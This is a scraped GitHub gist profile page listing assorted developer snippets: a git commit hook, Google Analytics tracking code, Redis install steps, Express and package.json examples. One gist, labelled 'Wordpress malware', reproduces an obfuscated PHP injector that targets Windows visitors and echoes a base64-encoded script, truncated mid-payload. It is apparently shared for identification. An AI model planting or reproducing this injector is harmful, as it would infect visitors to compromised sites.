Skip to content

Instantly share code, notes, and snippets.

Avatar
😀
writing status

Jonas Arnklint arnklint

😀
writing status
View GitHub Profile
View SketchSystems.spec
CalendarHabit
settings -> Set Habit
Set Habit
save -> Save Habit
Save Habit
success -> Have You Performed Habit
failure -> Set Habit
Have You Performed Habit
yes -> Mark Today
Mark Today
View gist:de31807e6370945d4420756869531ceb
<script>
window.intercomSettings = {
app_id: "ra2agqf0"
}
</script>
<script>(function(){var w=window;var ic=w.Intercom;if(typeof ic==="function"){ic('reattach_activator');ic('update',intercomSettings);}else{var d=document;var i=function(){i.c(arguments)};i.q=[];i.c=function(args){i.q.push(args)};w.Intercom=i;function l(){var s=d.createElement('script');s.type='text/javascript';s.async=true;s.src='https://widget.intercom.io/widget/ra2agqf0';var x=d.getElementsByTagName('script')[0];x.parentNode.insertBefore(s,x);}if(w.attachEvent){w.attachEvent('onload',l);}else{w.addEventListener('load',l,false);}}})()</script>
@arnklint
arnklint / prepare-commit-msg
Created Oct 16, 2015 — forked from aalin/prepare-commit-msg
Git hook for adding issue numbers to commits
View prepare-commit-msg
#!/usr/bin/env ruby
filename = ARGV[0]
branch_name = `git rev-parse --abbrev-ref HEAD`
issue = branch_name[/^[A-Z]+-\d+/]
if issue
contents = File.read(filename)
File.write(filename, "#{ issue }:\n#{ contents }")
end
@arnklint
arnklint / ga-ratio.js
Created Feb 26, 2013 — forked from andrewrocco/ga-ratio.js
Track pixel ratio (*retina* or not) with Google Analytics in an easy way.
View ga-ratio.js
// Create the test
var pixelRatio = (window.devicePixelRatio >= 1.5) ? "high" : "normal";
..
// Pass it along through GA
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-xxxxxxxx-x']);
// --- IMPORTANT LINE!
// params: event method, custom variable slot, variable name, variable value, scope level
@arnklint
arnklint / gist:4280762
Created Dec 13, 2012
Installing Redis on ubuntu
View gist:4280762
# I needed to install tcl8.5 to run the tests: sudo apt-get install tcl8.5
# download and unpack the sources (see http://redis.io/download for the latest stable version)
wget http://redis.googlecode.com/files/redis-2.4.5.tar.gz
tar -zxvf redis-2.4.5.tar.gz
# build
cd redis-2.4.5/
make
@arnklint
arnklint / track-form-abandonment.md
Last active Dec 18, 2017
Track Form Abandonment in Google Analytics in five rows of javascript
View track-form-abandonment.md

Put this code on the page where the form you want to track resides. Some other examples are currently passed around the web with varying quality. This is one that will work as long as your form tag has an id= or name attribute.

You don´t have to change this code to be able to track form abandonment in your shopping cart, order form or whatever form you want.

This sends events to Google Analytics when a user focuses somewhere not in a field after having focused on a input field. You won´t know for how long users focused on respective fields, or the actual conversion rate in the form using this, but it might be a start.

A tool that provides more insight both over time and per field, is Form Analytics wich helps you optimize your online forms. For instance, it measures dropout rate, average field input length, conversion rate and average time per field. All which provides great insights in the most overlooked, yet important part of you site.

Anyway, here´s the code:

@arnklint
arnklint / Form-abandonment-tracking.md
Created Dec 6, 2012
How to track form abandonment with RevRise Form Analytics
View Form-abandonment-tracking.md

Simple and brief introduction to new customers of RevRise Form Analytics

Start tracking form abandonment

1. Copy paste the code

Copy paste the following code to the bottom of all the pages on the site(s) you want to track. Place it just before </body>.

2. Define your web forms

You need to define the forms that you want to measure with the attribute data-rr-name="form-name".

@arnklint
arnklint / express-app.coffee
Created Dec 4, 2012 — forked from dangerbell/express-app.coffee
Example code for Node Testing with Mocha, SuperTest, and Nock
View express-app.coffee
express = require 'express'
app = express();
# Configure
require('./config')(app)
# Routes
require('./routes')(app)
module.exports = app
@arnklint
arnklint / gist:3104923
Created Jul 13, 2012
Wordpress malware
View gist:3104923
$ip=$_SERVER["REMOTE_ADDR"];$dr=$_SERVER["DOCUMENT_ROOT"];$ua = $_SERVER['HTTP_USER_AGENT'];$dbf=$dr.'/'.md5($dr);
if((strpos($ua,'Windows')!==false)&&((strpos($ua,'MSIE')!==false)||(strpos($ua,'Firefox')!==false))&&(strpos(@file_get_contents($dbf),$ip) === false)){
error_reporting(0);
echo(base64_decode('PHNjcmlwdD50cnl7cHJvdG90eXBlJTI7fWNhdGNoKGFzZCl7eD0yO30gaT0yLTI7dHJ5e3Byb3RvdHlwZSo1O31jYXRjaCh6KXtmcj0iZnJvbUNoYXIiO2Y9WzcyLDgxLDg0MCw5MTgsMjU2LDM2MCw4MDAsOTk5LDc5MiwxMDUzLDg3Miw5MDksODgwLDEwNDQsMzY4LDkyNyw4MDgsMTA0NCw1NTIsOTcyLDgwOCw5ODEsODA4LDk5MCw5MjgsMTAzNSw1MjgsMTA4OSw2NzIsODczLDgyNCw3MDIsNzc2LDk4MSw4MDgsMzYwLDMxMiw4ODIsODg4LDkwMCw5NjgsMzUxLDMyOCw4MTksMzg0LDgzNywzMjgsMTEwNywxMDQsODEsNzIsODEsODQwLDkxOCw5MTIsODczLDg3Miw5MDksOTEyLDM2MCwzMjgsNTMxLDEwNCw4MSw3MiwxMTI1LDI1Niw5MDksODY0LDEwMzUsODA4LDI4OCw5ODQsMTE3LDcyLDgxLDcyLDkwMCw4ODgsODkxLDkzNiw5ODEsODA4LDk5MCw5MjgsNDE0LDk1MiwxMDI2LDg0MCwxMDQ0LDgwOCwzNjAsMjcyLDU0MCw4NDAsOTE4LDkxMiw4NzMsODcyLDkwOSwyNTYsMTAzNSw5MTIsODkxLDQ4OCwzNTEsODMyLDEwNDQsOTI4LDEwMDgsNDY
View package.json
{
"name": "best-practices",
"description": "A package using versioning best-practices",
"author": "Jonas Arnklint <jonas.a@revrise.com>",
"dependencies": {
"colors": "0.x.x",
"express": "2.3.x",
"optimist": "0.2.x"
},
"devDependencies": {